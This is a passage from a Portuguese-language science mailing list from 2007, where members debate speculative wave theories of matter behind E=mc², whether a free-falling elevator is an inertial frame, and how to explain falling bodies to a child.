físicos, enquanto podem haver várias, todas
concorrentes entre si, exibindo resultados
equivalentes e possibilitando-nos entender um
Cosmos que é muito mais amplo e complexo do
que nossa vã filosofia.

Mudando de assunto, esta é a primeira vez que
leio um comentário a respeito da Teoria da
Velocidade Absoluta. Na Teoria Ondulatória da
Matéria, a velocidade da luz (c) tb é
considerada a única velocidade existente.
Todas as demais são consideradas resultantes
de c.

A conclusão de que a matéria é uma onda
estacionária em trajetória fechada é algo
interessante. Contudo ela tb esbarra na
questão do 'recipiente' ou 'anteparo' da onda.
Ou estarei enganado? Na Teoria da Velocidade
Absoluta, o que faz a onda de energia refletir
para tornar-se estacionária?

Grato,

Eduardo Sardeiro

----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 7:04 AM
Subject: Re: [ciencialist] Re: E=m.c2

JC,

"Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)"

O que irei adiantar, não corresponde ao que penso. Achei bastante
interessante,
por isso me animei a ler com atenção, a Teoria da Velocidade Absoluta, do
Professor
de telecomunicação Jaroslav Smit, autor de obras na área, como Ondas e
Antenas, Rádio e Propagação e Linhas de Comunicação, tudo da Èrica. Não sei
se se trata de engenheiro eletrônico que é físico, ou se é um físico que é
engenheiro eletrônico.
Numa pesquisa sobra antenas, encontrei, no Ondas e Antenas(e isso já faz
um bom tempo) noções de relatividade restrita, em vista do enfoque que dá à
Teoria do Eletromagnetismo. E também uma introdução à sua Teoria da
Velocidade Absoluta. Não uma velocidade qualquer, mas a das OEM, c, como era
para ser. Em suas palavras, página 251:

" A matéria, na Teoria da Velocidade Absoluta, é onda estacionária em
trajetória fechada.

Se esta matéria, onde não se percebe c externamente, for movida com
velocidade v, poderemos compor um triângulo de velocidades, incluindo c. Mas
ao compormos este triângulo de velocidades nota-se que a resultante, isto é,
a maior velocidade, ou hipotenua do triângulo, será forçosamente c. Assim,
as outras velocidades menores que c serão meros componentes de c.
Concluí-se, diz ele, que no mundo material não há velocidade independente de
c, já que no mundo material todas as velocidades são de matéria ou
energia.Podemos ilustrar com o modelo a seguir, estas várias velolcidades."
E seguem, três figuras:
a) Onda pura, representada por seta, para indicar a velocidade c;
b) Um círculo, para indicar a matéria em repouso, onde c é indicada por
uma seta apontando o sentido do movimento circular; e
c) algo como uma espiral, para indicar a matéria anima de velocidade v,
que aparece como um cateto do triângulo no qual a hipotenusa é c.

As seções seguintes exibem um estudo de triângulos onde tais idéias são
implementadas, matemática e geométricamente, em forma de catetos, com a
hipotenusa, que ele chama de lado da onda. Amarrando, sempre, c aos catetos,
constroi uma estrutura de onde retira os principais resultados da TRR. É um
pouco diferente dos estudos homólogos feitos por autores consagrados, que
usam triângulos como artifício de memorização de fórmulas. Seu enfoque
centra-se na tese acima, o que diferencia os desenvolvimentos. Assim,
encontram-se os seguintes triângulos: de velocidades, das massas, da
Energia, dos Momento, por aí em diante. Extrai, dessa forma, os resultados
conhecidos, usando os postulados da relatividade.

Tudo usando a idéia básica : A matéria, na Teoria da Velocidade Absoluta,
é onda estacionária em trajetória fechada.

Não sei se o Professor Smit ainda está por aquí. Encontrei na internet que
foi um dos fundadores do Mackenzie. Mas não encontrei mais nada a respeito
de sua teoria, ou a importância que lhe foi atribuída. Ao menos tem um
embasamento matemático consistente, embora a tese física seja questionável.
Mesmo assim, ainda hoje, vez ou outra seja mencionada, em outra forma, como
o fez o Sardeiro.

Contudo, prefiro ater-me ao que sei que funciona, que nunca virou a cara
ou fez muxôxo para a experimentação. Uma vida só é pouco para se extrair
todas as incidências da TR nossa de cada dia. Mas é interessante ler sobre
as tentativas, em busca de outras alternativas. Que são só tentativas, ao
fim e ao cabo.

Sobre E = m c^2, existe realmente um entendimento inadequado de qual o
papel de E e m, na equação. Mas deixa prá lá. Já se falou muito a respeito,
embora sem explicitar as essencialidades.

Sds,
Victor.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 12:27 AM
Subject: [ciencialist] Re: E=m.c2

Hummm, a matéria é feita de ondas? Ondas de que? De matéria? :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Sardeiro"
<eduardo@...> escreveu
>
> Prezados Senhores,
>
> Embora já tenha apresentado minha opinião a respeito desta
> célebre equação E=m.c2 e não ter sido bem entendido, volto
> a insistir em que ela é a maior evidência de que *a matéria é
> feita de ondas*.
>
> A questão é: de que tipo de onda a matéria é feita? O que a
> torna instável, a ponto de ser liberada em uma explosão nuclear
> e o que a torna estável a ponto de conservar o número de
> bárions?
>
> Sei que existem inúmeras explicações teóricas para estes
> fenômenos que não necessitam que a matéria seja feita de
> ondas.
>
> Entretanto, recentemente tem sido levantado a suspeita de que
> matéria são ondas estacionárias (ver Wave Structure of Matter),
> tendo o elétron como onda básica, capaz de gerar todas as
> demais partículas...
>
> Existem evidências de que isto é possível. Se for validado,
> teremos um trunfo na mão. Se não for, continuaremos na
> suspeita.
>
> Se o elétron é uma onda básica ou não, não vem ao caso ainda.
> Entretanto o maior ponto de discordia da Teoria Ondulatória
> da Matéria é onde tais ondas refletem para se tornarem
> estacionarias. Sim: já que partículas são ondas estacionárias elas
> precisam de um *anteparo* para refletir!
>
> A maioria dos especuladores supõem que as ondas de matéria
> propagam-se e refletem-se nas 'bordas' do Ether, explicando
> assim o porquê ocorrem interações mesmo entre objetos
> astronomicamente distantes e o porquê nunca temos um
> sistema perfeitamente isolado.
>
> Essa explicação falha, porque sabemos que o Ether preenche
> todo o Universo observável e que ele é extremamente grande.
> Levaria muito, muito, muito tempo para que houvesse a
> reflexão de uma onda estacionária tão minúscula como o
> eletron. Alguns alegam que a reflexão vem ocorrendo desde o
> inicio do Universo, é initerrupta e constante, logo não haveria
> necessidade de uma onda ir e vir para fazer ocorrer uma
> partícula... A onda sempre estaria ali, assim como o eletron de
> um fio carregado sempre esteve ali: ele não se propagou da
> Austrália para o Brasil, e sim a 'força eletromotriz' o fez
> movimentar-se.
>
> São vários blá-blá-blás de teorias que ainda não me deixaram
> satisfeito. Existe a necessidade de uma explicação razoável de
> como a onda de matéria reflete-se.
>
> Não pode ser em outra onda, pois ondas normais não refletem
> -se uma na outra. Elas podem colidir, ampliando, diminuindo ou
> mesmo anulando uma a outra. Não existe nenhum exemplo na
> natureza em que isso ocorra: não há reflexão entre ondas de
> intensidades nem de frequências diferentes. Elas sempre
> colidem.
>
> Venho analisando atualmente a possibilidade de ondas eletro-
> magnéticas com frequências tão infinitamente pequenas e
> contendo energias tão avalasadoras que sucumbiriam em
> 'espaços atemporais'. Ou seja, os *anteparo* seriam intervalos
> atemporais que aprisionariam as ondas de matérias,
> transformando-as no que chamamos de partículas. Isto
> evidenciaria o tempo uma entidade discreta e não contínua. As
> ondas estariam aprisionadas de tal forma que somente em
> colisões com outras partículas, sob determinados aspectos de
> massa e velocidade, poderiam liberá-las. Sob outras condições,
> as partículas poderiam ser absorvidas e por aí vai...
>
> Estes comentários são só esboços de um trabalho maior que
> tentam apenas demonstrar a grande evidência apontada por
> E=m.c2. E isto não pode ser contestado.
>
> Até a qualquer momento e um forte abraço.
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>






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SUBJECT: Re: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 07:25

É que, nem com um monte de petardos do tipo disparado pelo Takata,
o objetivo será atingido. Acho que nem com a precisão do GPS é possíve uma proeza
dessas!.
Só não disparo mais alguns devido a que munição está cara, e não pode
ser desperdiçada. Racionalidade não é um ingrediente à vista, neste mar.
Traz o policial Belmondo. Se ele acertar sequer um chute, pois o alvo é rápido no
gatilho, pago um cocada, daquelas pretas, lá da terra de meu padim pade ciço.
Desculpem, acordei azedo.

Sds,
Victor.

----- Original Message -----
From: Manuel Bulcão
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 8:19 PM
Subject: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)


Essa mensagem do Takata, transcrita abaixo, me fez lembrar um filme
do francês Jean Paul Belmondo, "O Magnífico". Em uma das cenas, o
protagonista - um policial - trucida um inimigo, primeiro
descarregando nele todas as trezentas balas de uma metralhadora;
depois, todo o pente de uma pistola; sem se contentar, ainda craveja
no defuntíssimo 80 punhaladas; ainda muito puto, mete uma granada na
boca do cadáver já quase em forma de papa-de-aveia; e, por último,
sadicamente, ainda lhe tasca uma dezena de chutes.

Pra que tudo isso? Sejamos racionais!:-)

Abraços,
Manuel Bulcão

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu

> Coisas q a teoria da matéria de Ferrari precisa fazer para
demonstrar
> q é tão boa qto a teoria atual:
>
> - Prever o espectro de emissão do átomo de hidrogênio;
> - Prever a relação entre o momento da partícula e o comprimento da
> onda de deBroglie;
> - Prever a relação entre carga elétrica, distância de separação das
> cargas e a intensidade da interação entre as cargas;
> - Prever a relação entre massa dos corpos, distância entre os
corpos e
> a intensidade de interação entre eles;
> - Prever a intensidade de interação entre os quarks e a
probabilidade
> de decaimento do núcleo de um dado elemento;
> - Prever o grau de desvio de um feixe luminoso ao passar em certo
> ângulo por um campo gravitacional de certa intensidade originado por
> um corpo puntiforme e a uma dada distância;
> - Prever a velocidade de transmissão de dados por cabos elétricos e
de
> fibra óptica e a razão sinal/ruído dado um certo grau de compressão
e
> saturação da via;
> - Prever o resultado da inequação de Bell dadas duas grandezas
conjugadas;
> - Prever a geometria do espaço-tempo dada uma densidade de
> matéria-energia;
>
> Coisas q a teoria de Ferrari precisa fazer para demonstrar q é
melhor
> do q a atual (supondo q consiga demonstrar antes q é tão boa qto):
> - Prever as massas das partículas fundamentais;
> - Prever os valores de carga elétrica e cor das partículas;
> - Prever as condições de unificação das interações fundamentais.
>
> []s,
>
> Roberto Takata
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Caiu na prova
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 07:28

Caro Victor,

sorry, de novo!
Mas, antes de argumentar onde está a falha ao associar o elevador em queda livre como sendo um referencial inercial (e, com isso, aplicar a primeira lei do homem) prefiro que faça a seguinte leitura:
http://www.feiradeciencias.com.br/sala05/05_RE16_06.asp

O tópico todo começa em: http://www.feiradeciencias.com.br/sala05/05_RE16_01.asp e vou referir-me a isso nas argumentações. Assim, tal leitura facilitará longos textos.
A leitura em http://www.feiradeciencias.com.br/sala05/05_RE16_01.asp é primordial e necessária.
São 11 partes para abranger todo o tópico Mudança de Sistema de Referência ... e que me deram um bocado de trabalho. Aliás, a parte 5, apesar de já escrita (meus rascunhos) não está editada devido às dificuldades e tempo de preparo de formatação ... se quiser ajudar nisso ficarei eternamente devedor.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 8 de maio de 2007 16:08
Assunto: Re: [ciencialist] Caiu na prova


Caro Léo,

Grato pelos comentários.
Mas farei algumas considerações a respeito de suas considerações.

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, May 02, 2007 11:37 AM
Subject: Re: [ciencialist] Caiu na prova


Léo: Vou comentar uma das tentativas do J. Victor:

"3)Finalmente, apelei para a Primeira Lei de Newton, que disse já conhecer. Antes de cortar a corta do elevador, todo mundo estava em repouso relativo, dentro do elevador(em relação a um referencial ligado ao elevador). Quando a corda é cortada, nenhuma força resultante haverá sobre ninguém, dentro do elevador; então, para o referencial do elevador, pela Primeira Lei de Newton, todos os corpos permanecerão em repouso. Mais uma vez, quem está de fora, verá todos caminharem para a destruição do mesmo jeito, bem comportadinhos, a mesma aceleração."

Victor: Não enxerguei erros conceituais no texto acima. Pode é ser que o texto não esteja lá esse primor de precisão. Mas só quis exprimir o essencial. Ou, sequer é um texto?...

Léo: Furou! ... a lei da inércia não vale para o referencial usado (o elevador em queda livre no campo da gravidade uniforme).

Victor: Vale. O elevador em queda livre é um referencial inercial.

Tome-se um corpo de referência interno, como suas paredes, para referir as posições de tudo quanto está alí dentro. Daí não é difícil inferir que todas as leis de Newton são válidas nele!. O campo gravitacional é anulado dentro dele, durante sua queda livre.

Léo: Nesse referencial (quando a corda é cortada), as pessoas continuam em repouso relativo por causa das forças de inércia (típica dos referenciais acelerados).

Victor: Sim, está correto. Mas em relação ao ref. fixo ao elevador. Em relação ao referencial terrestre, inercial, também, há que se considerar que há uma força agindo, a da gravidade, sobre o elevador e sua carga interna; portanto, para este, está em movimento acelerado, em queda livre. O observador interno dirá que estáem repouso em relação a corpos de referência internos; o o observador de fora verá tudo caindo do mesmo jeito, com a mesma velocidade em cada instante, não importando a natureza dos corpos observados, se um simples grão de areia ou uma tonelada de chumbo ou kriptonita.

Léo: As forças de inércia 'equilibram' as forças pesos. Vc não pode estudar o fenômeno "uma pedra caindo" colocando o referencial na pedra!

Victor: Não estou colocando o referencial na pedra, como já disse acima. Talvez não tenha me expressado bem e você tenha tido outra impressão. Mas talvez eu melhore um pouco, com os argumentos a seguir, que é misomenos o que disse mais acima, em outro enfoque.

Falei em referencial fixo ao elevador, de forma a que "veja" todos os corpos à volta parados em relação a ele. De fora, de um referencial fixo à terra, por exemplo, os corpos são vistos caindo igualmente, com a mesma velocidade, em cada instante, segundo a lei V + gt(V será esclarecido mais à frente). O elevador está acelerado para este último observador, fixo na terrinha que um dia o nosso juízo haverá de comer.


Léo: Há outro furo na frase:"Antes de cortar a corta do elevador, todo mundo estava em repouso relativo, dentro do elevador(em relação a um referencial ligado ao elevador)".

Victor: Então vejamos. Quando a corda é cortada, o elevador e tudo dentro tinham uma velocidade instantânea V, e uma aceleração diferente de zero, em relação ao referencial terrestre. Para o referencial interno, em relação às paredes do elevador, por exemplo, era zero; a não ser que a massa(passageiro) ficasse como a massa do Ferrari, em E = mc^2, pulando prá lá e prá cá. Naquele preciso instante, era esse seu estado de movimento. E a partir daquele preciso instante, a aceleração sobre ele e tudo o mais foi a zero, em relação ao corpo de referência fixo a ele. Entrou no regime de queda livre. Assim, para o referencial interno, inercial, pois está em queda livre, a velocidade do corpo continuará sendo zero; contudo, para o referencial externo, a velocidade do elevador e tudo o mais ligado a ele, continuará variando, conforme V+ gt, sendo V a velocidade instantânea no instante T, em que a corda foi cortada. Portanto, repito, este observador externo verá todo mundo caindo do mesmo jeito, de acordo com a lei de movimento acima, pois cada um está em repouso, dentro do elevador, em uns em relação aos outros.

Se dei a entender outra coisa, na prosopopéia anterior, paciência: foi incompetência mesmo.

Léo: Esse 'repouso relativo' derivou do fato da resultante das forças de interação ser nula (peso da pessoa + reação do assoalho do elevador). E, 'peso' é uma força externa à questão (pois o referencial é o elevador).

Victor: Sim, mas é exatamente por isso! O que a primeira Lei de decreta é a manutenção do estado de movimento, na ausência de forças. E mesmo quando o elevador não se encontra em queda livre um corpo dentro dele poderá estar em repouso em relação ao referencial interno, fixo. Quando a corda é cortada, ele continuará assim, só que com peso aparente nulo. Idem, os demais. Essa, a diferença. Na queda livre, "'peso' , uma força externa à questão", para o obs interno, tomará doril. Será anulado.

Léo: Esse equilíbrio relativo vale também para o referencial externo, o prédio e a terra!

Victor: Há restrições à sentença acima, embora sanáveis, pois, como está expressa, quer significar que você considera que um corpo acelerado, portanto sujeito a forças, esteja também em equilíbrio, para intervalos de tempo não desprezíveis. O sistema elevador, em queda livre, inercial, para um referencial fixo em seu interior, não o é para o referencial fixo à terra. As observações são diferentes, embora os efeitos do movimento relativo, em termos da energia mecânica envolvida, o fato físico em sí, sejam precisamente os mesmos.

Contudo, a não ser em intervalos de tempo tão pequenos que deltaV seja pequeno e V seja praticamente constante em tal intervalo, isto poderá ser assim considerado. Aliás, é usando esse argumento que se pode estudar o comportamento de um sistema acelerado, a partir de um inercial. Basta considerar um referencial inercial que, num dado instante T, tenha a mesma velocidade instantânea V do corpo acelerado nesse mesmo instante T, e referir todos os cálculos a este referencial. O resto serão considerações de passagem ao limite, essas coisas. São refinamentos de aplicações, dentro da teoria, tudo dentro dos conformes Newtonianos. Mas, para um intervalo grande, a coisa já não é assim, pois é evidente que a velocidade instantânea varia continuamente.

Trocando em miudos, em relação à terra o elevador e tudo que está dentro estão acelerados, com o mesmo g. Do ponto de vista do referencial fixo no interior do elevador que está em queda free é a terra que está acelerada e se dirigindo para ele. De qualquer jeito, se o pára-quedas não abrir tá tudo ferrado!

Para que outros da lista aproveitem melhor, usarei os argumentos adequados para justificar o que estou dizendo, argumentos esses, basilares no esquema de Newton, e encontrados nas melhores lojas de varejo, a preço de banana:

1 - Tudo quanto disse acima, e antes, só evidencia que isto só acontece devido ao fato observacional e experimental : massa inercial = massa gravitacional. E, ainda, devido ao Princípio da Relatividade de Todos os Movimentos, como requer o Primeiro Postulado, que outra coisa não é senão a Primeira Lei de Newton aplicada a toda a física, e não só a mecânica. Ninguém se livra de Newton assim, fácil.

2. Para o referencial terrestre, um objeto de massa M, dentro do elevador, está sujeito à gravidade, tal que:

Fgrav = Mgrav . g = Minercial . A, A = aceleração inercial, onde A = g, na queda free, como mencionado acima.

3. Assim, pois, para o referencial fixo ao interior do elevador em queda livre a aceleração resultante sobre qualquer corpo é zero. Ou seja,

A1 = A -g => A1 = 0

O que mostra que Fgrav nem fede nem cheira lá dentro, em queda livre. Se existirem outras forças sobre M, além da gravitacional, digamos, cuja soma vetorial seja F, teremos:

M.a = mg + F em relação ao ref. terrestre.

Em relação ao ref. no elevador, como é sabido, a coisa ficará assim:

M.A1 + M.g = M.g + F, daí que:

F = M. A1, o que prova a vós outros que o elevador em queda free é verdadeiramente(quase isso...) inercial, comporta-se como se de inércia fosse. E que as leis de Newton são válidas nele. Foi pensando em coisas como essas que Einstein mostrou a invariância relativística para todas as força não gravitacionais, de maneira geral. Portanto,

desSorry!



Sds,
Victor.


Sorry!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 1 de maio de 2007 20:00
Assunto: Re: [ciencialist] Caiu na prova

Caro Prof.JC,

Quando lí esta questão, pensei o único que podia pensar: nada de trivial,a não só para quem é
maiorzinho de 8 anos... Mas não me animei em dar uma resposta. Hoje, pude acessar novamente minha caixa
e ví que os listeiros também não. Então, resolví falar um pouco. Mas fiz um teste. Meus sobrinhos estavam aquí
e peguei o do primeiro ano do segundo grau, que ainda não chegou nessas paragens. Primeiro, me disse que nada
sabia a respeito. Fiz-lhe a pergunta clássica, e ele respondeu como Aristóteles faria: é claro que a pedra pesada
chega ao solo primeiro que a outra, a mais leve! No exemplo seguinte, substituí a pedra mais leve por um pedaço
de papel. A resposta foi mais enfática ainda. Depois que ele me disse que o ar poderia influenciar nos movimentos,
indaguei: e se o ar fosse eliminado, como seriam as coisas agora? A resposta foi a mesma!. Acrescentando que
os corpos "desceriam" mais livremente!...
Então, depois de dizer-lhe que não era assim, passei aos seguintes argumentos:

1) Aquele que foi usado brilhantemente por Galileu, ao questionar as idéias de Aristóteles: se uma pedra pesada, A, estiver ligada a uma pedra mais leve, B, por um fio muito delgado, e se o conjunto for solto do alto de um edifício, ao mesmo tempo, o fio que interliga os dois retarda ou aumenta a velocidade com que o corpo cai? Se a proposição de Aristóteles está correta, acontecerá o seguinte:
a pedra A será retardada pela pedra B, que "anda" mais devagar. Mas, considerando o sistema pedra A+pedra B + fio muito delgado, teremos um corpo que é mais pesado que a pedra A sozinha. Assim, esse conjunto deverá cair mais rapidamente que a pedra A, segundo o mesmo Aristóteles. Assim, teremos uma situação esquesita: um corpo que retarda e adianta, ao mesmo tempo! Evidentemente, segundo Galileo e qualquer cara de juízo na cabeça, é de se concluir que isto não pode acontecer, que Aristóteles estava equivocado. Portanto, o jeito de eliminar este paradoxo(este, sim, um verdadeiro paradoxo) é admitir que tanto a pédra pesada A quanto a pedra menos pesada B caem do mesmo jeito, se considerado, claro, que o experimento é feito no vácuo; nessas condições, se largados no mesmo instante, chegarão ao solo no mesmo instante.
-Me disse, o sobrinho menos sabido, que o raciocícnio parecia lógico, mas ainda ficou um tempão olhando para teto, buscando entender melhor ou descobrir uma falha no raciocínio. Mas disse que entendeu; mas percebí que a convicção não era lá tanta convicção!

Usei, então, outro argumento:

2) Como ele anda de elevador, e sabe que quando o elevador está descendo ele tem aquela sensação esquesita, como se o estômago estivessa subindo(aquele famoso friozinho), e tem a impressão de que pesa menos, usei um exemplo típico: o elevador está amarrado por uma corda, que limita o seu movimento acelerado descendente. Se a corda for afrouxada o suficiente, isto dará ao passageiro a nítida sensação de que seu peso é menor do que se estivesse parado. Pareceu-me que disto, tem a noção prática, pois não questionou. O efeito sobre seu estômago é a testemunha, nisso concordou! Se agora, num dado instante da "queda" controlada, alguém cortar a corda(corda afrouxada totalmente...), o elevador despencará de vez e a força total sobre o passageiro será zero, pelo que seu peso aparente irá a zero. Poderá até ficar com os pés no piso, mas poderá igualmente levantá-los, pois ficará aí, flutuando, feito alma no céu. Tudo que está à sua volta sofrerá os mesmos efeitos, cairá do mesmo jeito para um observador inercial fora do elevador e estará em repouso relativo uns em relação aos outros, dentro do elevador. A pedra A e a pedra B, dentro do elevador,estariam paradas uma em relação à outra ou a qualquer coisa dentro do elevador. Mas um observador de fora, veria isto: a pedra A caindo ao lado da pedra B, enquanto o elevador, pedras e passageiros rumam para o desfecho final: bum!, ao colidir com o solo.(Pois, o sistema todo estará acelerado, ainda que os passageiros não saibam disso, em condições adequadas).

E, finalmente, um último cartucho:

3)Finalmente, apelei para a Primeira Lei de Newton, que disse já conhecer. Antes de cortar a corta do elevador, todo mundo estava em repouso relativo, dentro do elevador(em relação a um referencial ligado ao elevador). Quando a corda é cortada, nenhuma força resultante haverá sobre ninguém, dentro do elevador; então, para o referencial do elevador, pela Primeira Lei de Newton, todos os corpos permanecerão em repouso. Mais uma vez, quem está de fora, verá todos caminharem para a destruição do mesmo jeito, bem comportadinhos, a mesma aceleração.

Bem, mesmo assim, fiquei com a impressão de que ele precisará amadurecer mais, para absorver com mais propriedade as "trivialidades" acima. Talvez seja mais conveniente eu admitir que não fui competente na explicação e que fico devendo essa a ele. Mas voltarei a conversar, quando ele emadurecer mais o papo acima. Garantiu que irira pensar mais. Mas acabaou achando o assunto bem interessante e estimulante.

Uma das coisas que questionou foi sobre a queda, em si. E quer dizer que em queda livre você está flutuando, nada acontecerá? Pois não é isso que vejo quando alguém cai. Quebrei meu braço ano passado numa queda. Expliquei que a ausência de forças corre apenas
dentro do elevador, do ponto de vista do referencial ligado a ele. (Não foi explicado a ele que isto acontece devido a forças de inércia(impropriamente chamadas de fictíciais-ou não?) que surgem única e exclusivamente em sistemas acelerados, e devidas única e exclusivamente às acelerações, para grantir que a segunda lei de Newton seja válida dentro deles)). Uma mão lava a outra. Mas, se ele olhar para baixo, verá a terra acelerada em direção a ele, com aceleração g, como se estivesse sendo impulsionada por motores altamente potentes. (Que o melhor seria ele sair da frente e deixar que ela passe, senão...). Quer dizer, do ponto de vista de efeitos globais, nada muda, quer o referencial usado seja o o fixo ao elevador, ou o fixo em relação à terra. Cada um um destes "vê" o outro acelerado(Vale sempre o princípio da relatividade de todos os movimentos). E é onde mora o perigo. Quando se chocam, adeus.
Bem, isto ele entendeu. Acho que vai se dedicar à mecânica, como disse. Ele tem 15 anos. É aluno dedicado e estuda num bom colégio. Eu não saberia dizer se um garoto de 8 anos teria alguma noção do que quis dizer acima, mesmo melhorando os dizeres, exemplos, etc. Mas irei tentar. Estou curioso para saber que explicação você, ou alguém mais, daria a ele( o de 8) tal que ele compreeendesse.

Bem, caro Professor, esta minha tentativa de ser claro a respeito de algo que não é trivial, embora pareça. Este assunto, por si só,
daria umas trocentas mensagens.

Dos 3 argumentos, o de que mais gostou, foi exatamente o primeiro!

Espero que quando o amigo JR deixar o coitado do avião voar possamos tratar de assuntos assim.

Sds,
Victor.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 29, 2007 9:28 PM
Subject: [ciencialist] Caiu na prova

Questãozinha que caiu na minha prova de Física para os aluninhos do
primeiro colegial:

Suponha que uma criança de oito anos lhe pergunte "quem cai mais
rápido: uma pedra pesada ou uma pedra mais leve?". O que você
responderia para ela e como a convenceria de sua reposta?

Abraços,
JC

[As partes desta mensagem que não continham texto foram removidas]

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SUBJECT: Re: [ciencialist] Re: OFF-TOPIC: Software para calcular área de mapa
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 07:33

Essa sugestão do Roberto é a que eu ia fazer (o Roberto continua a ser o rei do gatilho, muito superior ao John Wayne!).
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 8 de maio de 2007 17:50
Assunto: [ciencialist] Re: OFF-TOPIC: Software para calcular área de mapa


--- Em ciencialist@yahoogrupos.com.br, "psdias" <psdias@...> escreveu
> - Enfim, alguém conhece algum software não muito complicado de usar,
> onde eu pudesse executar a tarefa que descrevi ?

Tem um método muito simples.

Vc pode pegar o desenho do mapa em um papel, recortar o contorno e
pesá-lo. Agora vc pega um pedaço quadrado do mm papel com área
conhecida e faz o mm.

Aplica a regra de três.

(Tomar o cuidado para q o papel usado seja relativamente uniforme.)

Outro modo, mais trabalhoso, é dividir o mapa em vários quadrinhos.
Qto menor o quadriculado melhor - até o limite em q a espessura da
linha da grade não distorça a área das quadrículas.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: Fw: Pilha
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 07:36

Não, o uso pode ser discreto.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 8 de maio de 2007 20:08
Assunto: [ciencialist] Re: Fw: Pilha


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Aceito sugestões para a resposta.

Usando todos em um mm experimento?

Dá pra testar a toxicidade dos produtos.

[]s,

Roberto Takata

> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: Maria da Penha Machado
> Enviada em: sexta-feira, 4 de maio de 2007 10:56
> Assunto: Pilha
> Grafite, Zn0 , MnO2, NH4Cl e ZnCl2 (pilha seca) em que posso usar
estes materiais que foram tirados da pilha.




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SUBJECT: Re: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 07:38

He he he .... (considere isso uma boa gargalhada) Adorei a 'analogia' feita pela Bulcão. he he he.......

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 8 de maio de 2007 20:19
Assunto: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)


Essa mensagem do Takata, transcrita abaixo, me fez lembrar um filme
do francês Jean Paul Belmondo, "O Magnífico". Em uma das cenas, o
protagonista - um policial - trucida um inimigo, primeiro
descarregando nele todas as trezentas balas de uma metralhadora;
depois, todo o pente de uma pistola; sem se contentar, ainda craveja
no defuntíssimo 80 punhaladas; ainda muito puto, mete uma granada na
boca do cadáver já quase em forma de papa-de-aveia; e, por último,
sadicamente, ainda lhe tasca uma dezena de chutes.

Pra que tudo isso? Sejamos racionais!:-)

Abraços,
Manuel Bulcão


--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu

> Coisas q a teoria da matéria de Ferrari precisa fazer para
demonstrar
> q é tão boa qto a teoria atual:
>
> - Prever o espectro de emissão do átomo de hidrogênio;
> - Prever a relação entre o momento da partícula e o comprimento da
> onda de deBroglie;
> - Prever a relação entre carga elétrica, distância de separação das
> cargas e a intensidade da interação entre as cargas;
> - Prever a relação entre massa dos corpos, distância entre os
corpos e
> a intensidade de interação entre eles;
> - Prever a intensidade de interação entre os quarks e a
probabilidade
> de decaimento do núcleo de um dado elemento;
> - Prever o grau de desvio de um feixe luminoso ao passar em certo
> ângulo por um campo gravitacional de certa intensidade originado por
> um corpo puntiforme e a uma dada distância;
> - Prever a velocidade de transmissão de dados por cabos elétricos e
de
> fibra óptica e a razão sinal/ruído dado um certo grau de compressão
e
> saturação da via;
> - Prever o resultado da inequação de Bell dadas duas grandezas
conjugadas;
> - Prever a geometria do espaço-tempo dada uma densidade de
> matéria-energia;
>
> Coisas q a teoria de Ferrari precisa fazer para demonstrar q é
melhor
> do q a atual (supondo q consiga demonstrar antes q é tão boa qto):
> - Prever as massas das partículas fundamentais;
